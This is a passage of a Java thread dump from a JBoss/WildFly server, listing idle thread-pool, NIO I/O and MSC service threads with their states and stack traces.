Thread Pool -- 34" #59 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 6" #29 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"default I/O-6" #92 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"ServerService Thread Pool -- 16" #39 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 3" #26 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"default I/O-18" #104 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"ServerService Thread Pool -- 21" #44 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"DeploymentScanner-threads - 1" #53 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7c69f58 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 51" #76 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"MSC service thread 1-5" #18 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f945000 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"ServerService Thread Pool -- 65" #129 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 25" #48 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 2" #25 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"default Accept" #109 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"ServerService Thread Pool -- 14" #37 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"default I/O-21" #107 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"ServerService Thread Pool -- 42" #67 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 29" #52 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 5" #28 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 49" #74 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 55" #80 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 11" #34 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 9" #32 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 39" #64 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 28" #51 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"MSC service thread 1-3" #16 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f945000 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"default I/O-22" #108 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"management I/O-1" #84 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"ServerService Thread Pool -- 13" #36 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"default I/O-9" #95 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"default task-1" #119 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@370e7705 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"ServerService Thread Pool -- 23" #46 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 18" #41 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@122310cf + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"ConnectionValidator" #111 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4fea56db + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163) + at org.jboss.jca.core.connectionmanager.pool.validator.ConnectionValidator$ConnectionValidatorRunner.run(ConnectionValidator.java:263) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"ServerService Thread Pool -- 56" #81 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"MSC service thread 1-2" #15 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f945000 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at 